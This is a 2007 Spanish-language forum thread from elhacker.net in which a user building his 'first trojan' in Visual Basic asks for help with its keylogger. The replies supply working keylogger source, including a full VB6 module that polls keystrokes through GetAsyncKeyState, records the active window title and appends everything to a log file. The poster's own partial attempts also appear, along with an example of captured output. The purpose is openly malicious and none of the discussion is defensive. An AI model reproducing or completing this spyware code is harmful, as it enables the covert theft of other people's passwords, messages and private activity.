elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  ayuda con keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ayuda con keylogger  (Leído 5,161 veces)
TheWhite

Desconectado Desconectado

Mensajes: 46


Ver Perfil
ayuda con keylogger
« en: 7 Agosto 2007, 16:51 pm »

bueno, estoy haciendo mi primer troyano en vb  y estuve tratando de hacer un keylogger que:

1. Logea las teclas mientras la ventana siempre sea la misma
2. cuando cambia la ventana escribe en un .txt el nombre de la ventana junto con las teclas que se pulsaron mientras estaba activa

El problema me viene en el segundo punto, trate de mil formas, busque APIs y todo pero no logro hacer que al cambiar de ventana guarde lo pulsado (no se como indicarle que cuando la ventana activa cambie guarde lo pulsado  :¬¬)
!
si alguien tiene alguna sugerencia, bienvenida sea  ;)

gracias de antemano

PD: en este codigo me tira un error de "Subindice fuera del intervalo" y no entiendo por que es, no le veo logica para existir tal error (EDIT: YA LO SOLUCIONE ESTO)

Codigo:
If Left(datos, 7) = "listwnd" Then
Dim ventanas() As String, itemwnd() As String, listhwnd As Long, listnomwnd As String, nom As String
dato = Split(datos, "@")
ventanas = Split(dato(1), "?")
For i = 0 To UBound(ventanas)
itemwnd() = Split(ventanas(i), "/")

listWnd.AddItem itemwnd(0)  "EN ESTA SENTENCIA DICE QUE ESTA EL ERROR"


Next i
End If


« Última modificación: 7 Agosto 2007, 20:43 pm por TheWhite » En línea

TheWhite

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: ayuda con keylogger
« Respuesta #1 en: 8 Agosto 2007, 21:38 pm »

Bueno, lo hice para que en vez de cuando cambia de ventana sea cuando se presiona ENTER, aunque me hubiera gustado mas de la anterior forma, igualmente tiene errores, por ejemplo no obtiene el Titulo de al ventana activa, y me graba todas "," como si estuviera presionada, dejo el codigo aver si alguien me da una mano:

Código:
Private Sub timeKeylog_Timer()


Dim pulsa As Long, teclas As String, hwndk As Long, nomb As String, nomcompleto As Long, nomfinal As String, activekey As String, lenT As Long
hwndk = GetForegroundWindow
 lenT = GetWindowTextLength(hwndk)
nomb = String$(lenT, 0)
     nomcompleto = GetWindowText(hwndk, nomb, lenT + 1)
     nomfinal = Left(nomb, nomcompleto)


activekey = GetActiveKey

Select Case activekey


Case vbKeyReturn

Open App.Path & "\systemkl.log" For Append As #1
Print #1, "[" & nomfinal & "-" & Date & "-" & Time & "]"

Print #1, teclas
Print #1, "   "
Close #1
teclas = ""



Case vbKeyA To vbKeyZ, 32 To 47
teclas = teclas + Chr(activekey)
End Select

End Sub

Esto seria la funcion GetActiveKeys (creditos a Slasher-K)

Código:
Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Alguien que me pueda echar una mano?

Gracias


En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: ayuda con keylogger
« Respuesta #2 en: 9 Agosto 2007, 17:01 pm »

Vaya lio te estas montando.
Es facil,ahora no te puedo poner ningun ejemplo,cuando esté en Windows te lo pondré del keylogger de mi troyano.
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
Y asi....
Espero qeu se entienda,es sencillo.
Tu codigo lo veo un lio...
No se,no tengo ganas ahora de estar mirando,cuando este en windows ya te lo enseño  :)
En línea

yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: ayuda con keylogger
« Respuesta #3 en: 9 Agosto 2007, 17:25 pm »

Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
es un code que esta en internet publico para todos no se la fuente pero deberiamos siempre decir que no es nuestro code al menos no mio salvo que realmente lo consideres tuyo en fin... aqui esta:

en el form load:

Código
  1. Option Explicit
  2.  
  3. Private Sub Form_Load()
  4. 'activar el keylogger
  5. SetTimer Me.hwnd, 0, 25, AddressOf TimerProc
  6. End Sub
  7.  
  8.  

y en un módulo:

Código
  1. Option Explicit
  2. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Declare Function GetKeyboardState Lib "user32" (ByVal StateOfKey As Byte) As Long
  4.  
  5. Private Const VK_CAPITAL = &H14
  6. Private Const VALPRESS = -32767
  7.  
  8. Private Const SHIFT As Integer = 16
  9. Private Const ALT_GR As Integer = 165
  10.  
  11. Private Const SHIFTI As Integer = 160
  12. Private Const ALTI As Integer = 164
  13. Private Const CTRLI As Integer = 162
  14.  
  15.  
  16. Declare Function GetForegroundWindow Lib "user32" () As Long
  17. Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  18. Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  19.  
  20.  
  21. Private HISTORY As String
  22. Private WinActive As String
  23. Private File As String
  24.  
  25.  
  26.  
  27.  
  28.  
  29. Dim retorno As Long
  30.  
  31.  
  32.  
  33.  
  34. Public Const DT_CENTER = &H1
  35. Public Const DT_WORDBREAK = &H10
  36. Type RECT
  37.    Left As Long
  38.    Top As Long
  39.    Right As Long
  40.    Bottom As Long
  41. End Type
  42.  
  43. Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  44. Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
  45.  
  46.  
  47. Global Cnt As Long, sSave As String, sOld As String, ret As String
  48.  
  49.  
  50.  
  51.  
  52. Function GetPressedKey() As String
  53.  
  54.  
  55.   On Error Resume Next
  56.  
  57.  For Cnt = 65 To 90
  58.  
  59.     If GetAsyncKeyState(ALT_GR) < 0 Then Exit For
  60.  
  61.      retorno = GetAsyncKeyState(Cnt)
  62.           If retorno = VALPRESS Then
  63.                       If GetAsyncKeyState(SHIFT) < 0 Then
  64.                           GetPressedKey = UCase$(Chr$(Cnt))
  65.                           If BShift Then GetPressedKey = LCase$(Chr$(Cnt))
  66.                       Else
  67.                           GetPressedKey = LCase$(Chr$(Cnt))
  68.                           If BShift Then GetPressedKey = UCase$(Chr$(Cnt))
  69.                       End If
  70.                   GoTo Found
  71.           End If
  72.  
  73. Next Cnt
  74.  
  75.  
  76. For Cnt = 48 To 57
  77.      retorno = GetAsyncKeyState(Cnt)
  78.  
  79. If retorno = VALPRESS Then
  80.                   If GetAsyncKeyState(SHIFT) Then
  81.                       If Not GetAsyncKeyState(ALT_GR) < 0 Then
  82.                               GetPressedKey = Mid$("=!""·$%&/()", Cnt - 47, 1)
  83.                               GoTo Found
  84.                       End If
  85.  
  86.                   Else
  87.                       If GetAsyncKeyState(ALT_GR) < 0 Then
  88.                           Select Case Cnt
  89.                               Case 49: GetPressedKey = "|"
  90.                               Case 50: GetPressedKey = "@"
  91.                               Case 51: GetPressedKey = "#"
  92.                               Case 52: GetPressedKey = "~"
  93.                               Case 53: GetPressedKey = "€"
  94.                               Case 54: GetPressedKey = "¬"
  95.                               Case Else: GetPressedKey = ""
  96.                         End Select
  97.                       Else
  98.                           GetPressedKey = Chr$(Cnt)
  99.                       End If
  100.                       GoTo Found
  101.                   End If
  102.  End If
  103. Next Cnt
  104.  
  105.  
  106. For Cnt = 96 To 105
  107.      retorno = GetAsyncKeyState(Cnt)
  108.  
  109.      If (retorno = VALPRESS) And (Not GetAsyncKeyState(ALT_GR) < 0) Then
  110.               GetPressedKey = Cnt - 96
  111.           GoTo Found
  112.       End If
  113. Next Cnt
  114.  
  115.  
  116.   If GetAsyncKeyState(111) = VALPRESS Then
  117.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "/"
  118.       GoTo Found
  119.   End If
  120. '
  121.   If GetAsyncKeyState(106) = VALPRESS Then
  122.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
  123.       GoTo Found
  124.   End If
  125. '
  126.   If GetAsyncKeyState(109) = VALPRESS Then
  127.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "-"
  128.       GoTo Found
  129.   End If
  130.  
  131.   If GetAsyncKeyState(107) = VALPRESS Then
  132.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "+"
  133.       GoTo Found
  134.   End If
  135.  
  136.   If GetAsyncKeyState(8) = VALPRESS Then 'tecla retroceso
  137.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
  138.       GoTo Found
  139.   End If
  140.  
  141.   If GetAsyncKeyState(8) = VALPRESS Then
  142.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "{Del}"
  143.       GoTo Found
  144.   End If
  145.  
  146.   If GetAsyncKeyState(13) = VALPRESS Then
  147.      GetPressedKey = vbCrLf
  148.  
  149.       SaveFile HISTORY
  150.       HISTORY = ""
  151.       GoTo Found
  152.   End If
  153.  
  154.   If GetAsyncKeyState(32) = VALPRESS Then
  155.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = " "
  156.       GoTo Found
  157.   End If
  158.  
  159.   If GetAsyncKeyState(46) = VALPRESS Then
  160.       If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ""
  161.       GoTo Found
  162.   End If
  163.  
  164.  
  165.   If GetAsyncKeyState(186) = VALPRESS Then
  166.           If GetAsyncKeyState(SHIFT) < 0 Then
  167.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "^"
  168.           Else
  169.               If GetAsyncKeyState(ALT_GR) < 0 Then
  170.                   GetPressedKey = "["
  171.               Else
  172.                   GetPressedKey = "`"
  173.               End If
  174.           End If
  175.       GoTo Found
  176.   End If
  177.  
  178.  
  179.   If GetAsyncKeyState(187) = VALPRESS Then
  180.           If GetAsyncKeyState(SHIFT) < 0 Then
  181.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*"
  182.           Else
  183.               If GetAsyncKeyState(ALT_GR) < 0 Then
  184.                   GetPressedKey = "]"
  185.               Else
  186.                   GetPressedKey = "+"
  187.               End If
  188.           End If
  189.       GoTo Found
  190.   End If
  191.  
  192.  
  193.   If GetAsyncKeyState(188) = VALPRESS Then
  194.           If GetAsyncKeyState(SHIFT) < 0 Then
  195.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ";"
  196.           Else
  197.               GetPressedKey = ","
  198.           End If
  199.       GoTo Found
  200.   End If
  201.  
  202.   If GetAsyncKeyState(189) = VALPRESS Then
  203.           If GetAsyncKeyState(SHIFT) < 0 Then
  204.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "_"
  205.           Else
  206.               GetPressedKey = "-"
  207.           End If
  208.       GoTo Found
  209.   End If
  210.  
  211.   If GetAsyncKeyState(190) = VALPRESS Then
  212.           If GetAsyncKeyState(SHIFT) < 0 Then
  213.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ":"
  214.           Else
  215.               GetPressedKey = "."
  216.           End If
  217.       GoTo Found
  218.   End If
  219.  
  220.   If GetAsyncKeyState(191) = VALPRESS Then
  221.           If GetAsyncKeyState(SHIFT) < 0 Then
  222.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "Ç"
  223.           Else
  224.               If GetAsyncKeyState(ALT_GR) < 0 Then
  225.                   GetPressedKey = "}"
  226.               Else
  227.                   GetPressedKey = "ç"
  228.               End If
  229.           End If
  230.       GoTo Found
  231.   End If
  232.  
  233.  
  234.   If GetAsyncKeyState(192) = VALPRESS Then
  235.        If Not GetAsyncKeyState(ALT_GR) < 0 Then
  236.               If GetAsyncKeyState(SHIFT) < 0 Then
  237.                    GetPressedKey = "Ñ"
  238.                    If BShift Then GetPressedKey = "ñ"
  239.               Else
  240.                    GetPressedKey = "ñ"
  241.                    If BShift Then GetPressedKey = "Ñ"
  242.               End If
  243.               GoTo Found
  244.       End If
  245.   End If
  246.  
  247.  
  248.  
  249.   If GetAsyncKeyState(219) = VALPRESS Then
  250.           If GetAsyncKeyState(SHIFT) < 0 Then
  251.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "?"
  252.           Else
  253.               GetPressedKey = "'"
  254.           End If
  255.       GoTo Found
  256.   End If
  257.  
  258.   If GetAsyncKeyState(220) = VALPRESS Then
  259.           If GetAsyncKeyState(SHIFT) < 0 Then
  260.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "ª"
  261.           Else
  262.               If GetAsyncKeyState(ALT_GR) < 0 Then
  263.                   GetPressedKey = "\"
  264.               Else
  265.                   GetPressedKey = "º"
  266.               End If
  267.           End If
  268.       GoTo Found
  269.   End If
  270.  
  271.   If GetAsyncKeyState(221) = VALPRESS Then
  272.           If GetAsyncKeyState(SHIFT) < 0 Then
  273.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¿"
  274.           Else
  275.               GetPressedKey = "¡"
  276.           End If
  277.       GoTo Found
  278.   End If
  279.  
  280.   If GetAsyncKeyState(222) = VALPRESS Then
  281.           If GetAsyncKeyState(SHIFT) < 0 Then
  282.               If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¨"
  283.           Else
  284.               If GetAsyncKeyState(ALT_GR) < 0 Then
  285.                   GetPressedKey = "{"
  286.               Else
  287.                   GetPressedKey = "´"
  288.               End If
  289.           End If
  290.       GoTo Found
  291.   End If
  292.  
  293.  
  294.  
  295.  
  296.  
  297.  
  298.  
  299. Found:
  300.   If GetWinActive = WinActive Then
  301.       HISTORY = HISTORY & GetPressedKey
  302.   Else
  303.       WinActive = GetWinActive
  304.       HISTORY = HISTORY & "[" & WinActive & "]" & vbCrLf & GetPressedKey & vbCrLf
  305.   End If
  306.  
  307.  
  308. End Function
  309.  
  310.  
  311.  
  312. Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
  313.    ret = GetPressedKey
  314.    If ret <> sOld Then
  315.        sOld = ret
  316.        sSave = sSave + sOld
  317.    End If
  318. End Sub
  319.  
  320.  
  321. Function BShift() As Boolean
  322.   Dim Teclas(0 To 255) As Byte
  323.   GetKeyboardState Teclas(0)
  324.   BShift = Teclas(VK_CAPITAL)
  325. End Function
  326.  
  327.  
  328. Private Function GetWinActive() As String
  329.   Dim Handle As Long
  330.   Dim Lon As Long
  331.   Dim Txt As String
  332.   Dim ret As Long
  333.  
  334.   Handle = GetForegroundWindow()
  335.   Lon = GetWindowTextLength(Handle) + 1
  336.   Txt = Space(Lon)
  337.   ret = GetWindowText(Handle, Txt, Lon)
  338.   GetWinActive = Left(Txt, Lon - 1)
  339. End Function
  340.  
  341.  
  342.  
  343. Private Function SaveFile(Cont As String)
  344.   On Error Resume Next
  345.   Dim FF As Long
  346.   FF = FreeFile
  347.  
  348.   Open "d:\logger.txt" For Binary As FF
  349.       Put #FF, LOF(FF) + 1, Cont
  350.   Close FF
  351. End Function
  352.  

ejecutas y cada que presiones la tecla enter se crea un archivo logger.txt en la undad d, (puedes cambiar eso) con las teclas ultimas pulsadas... es un kylogger basico habria que añadirle mas funciones pero es lo que hasta ahora necesitas...

un saludo!
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: ayuda con keylogger
« Respuesta #4 en: 9 Agosto 2007, 18:51 pm »

Claro que es mio,no no he hecho copy&paste como tu,es evidente que codes de esos hay un monton,pero no por ello significa que tenags que copiarlos  ;)
Enfin como veias si quereis seguir haciendo copy&paste en vez de entender lo que haceis y hacerlo vosotros...
En línea

TheWhite

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: ayuda con keylogger
« Respuesta #5 en: 9 Agosto 2007, 19:00 pm »

Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?

Gracias
En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: ayuda con keylogger
« Respuesta #6 en: 9 Agosto 2007, 19:19 pm »

Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?

Gracias
No,con 1 timer basta.
Mira,te lo explico asi un poco,intenta sacarlo tu,sino ya te pondré el ejemplo(quizas mañana).
Declara una variable como string en generla,digamos Ventana.
Al principio del timer,capturas el caption de la ventana activa,y la comparas con la variable ventana,de manera que si es diferente,salte una linea y escriba(en mi caso)la fecha,hora y caption de la ventana.Al final,pon que la variable Ventana contenga el valor de la ventana activa en ese momento,asi cuando el tiemr se vuelva a ejecutar,se compara si es igual,si es igual se sigue escribiendo lo que se capta,sino se salta una linea y se ponen esos parametros(caption ventana,fecha y hora(en mi caso)),y se escribe lo k se capta a no ser qeu cambie.

El resultado,es este:
Código:
[Google - Mozilla Firefox] a las 19:00 el 20/07/07
videos xxx{Enter}

[Bloc de Notas]a las 19:01 el 20/07/07
Hola que tal....
Bueno es un ejemplo de como seria,los parametros ponlos como quieras,pero se ve claro el resultado que se obtendria  :P
En línea

TheWhite

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: ayuda con keylogger
« Respuesta #7 en: 10 Agosto 2007, 00:22 am »

Bueno a partir de lo que me dijistes hice esto, pero tampoco funciono  :¬¬ :

Código:
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long

hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
     vent = GetWindowText(hwndv, nom, lenT + 1)
    nombreactu = Left(nom, vent)
   
For i = 0 To 256
Dim estado As Long, teclas As String
estado = GetAsyncKeyState(i)
 
If estado = -32767 Then
teclas = teclas + Chr(i)
End If
Next
   
If Not ventana = nombreactu Then

Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & ventana & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1

teclas = ""
ventana = nombreactu
End If

   
End Sub


este es el resultado de prueba.txt con ese codigo:

Código:
[-09/08/2007-07:18:18 p.m.-]

[Server-09/08/2007-07:18:25 p.m.-]

[-09/08/2007-07:18:25 p.m.-]

[VB-09/08/2007-07:18:30 p.m.-]

[prueba.txt - Bloc de notas-09/08/2007-07:18:36 p.m.-]

[VB-09/08/2007-07:18:46 p.m.-]

[API-Guide 3.7 - 925 functions found!-09/08/2007-07:18:51 p.m.-]

[-09/08/2007-07:18:51 p.m.-]

[VB-09/08/2007-07:18:54 p.m.-]

[prueba.txt - Bloc de notas-09/08/2007-07:19:16 p.m.-]

[VB-09/08/2007-07:19:17 p.m.-]

[-09/08/2007-07:19:18 p.m.-]


No se que seran esas entradas sin el nombre de la ventana y como pueden ver tampoco capturo las letras.
Por ahora no pude encontrar el error.
En línea

TheWhite

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: ayuda con keylogger
« Respuesta #8 en: 16 Agosto 2007, 05:41 am »

Nadie tiene ninguna sugerencia?  :(
En línea

TheWhite

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: ayuda con keylogger
« Respuesta #9 en: 16 Agosto 2007, 05:58 am »

Jareth, lei nuevamente tu recomendacion e hice esto:
Código:
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long, ventana As Long

hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
     vent = GetWindowText(hwndv, nom, lenT + 1)
    nombreactu = Left(nom, vent)
   
   If Not ventana = hwndv Then

Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & nombreactu & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1

teclas = ""

End If


For i = 0 To 256
Dim estado As Long, teclass As String
estado = GetAsyncKeyState(i)
 
If estado = -32767 Then
teclass = teclass + Chr(i)
End If

ventana = GetForegroundWindow()
Next

pero el txt graba muchisimas lineas con el nombre de cada ventana y ni si quiera graba las teclas. ayudaaaaaaaa
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda,keylogger.
Análisis y Diseño de Malware
-H4D3S- 5 3,817 Último mensaje 14 Mayo 2013, 19:50 pm
por daryo
Ayuda, keylogger
Seguridad
kopolo 2 2,646 Último mensaje 14 Junio 2014, 03:47 am
por Mister12
usb keylogger ayuda
Hacking
MrVndT 1 2,898 Último mensaje 27 Marzo 2015, 02:00 am
por Henyckma
Ayuda con Keylogger
Scripting
S4ur1k 1 2,483 Último mensaje 5 Abril 2020, 09:09 am
por fary
ayuda con keylogger
Análisis y Diseño de Malware
el_hacker1724 3 4,472 Último mensaje 25 Octubre 2021, 11:34 am
por Usuario887
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines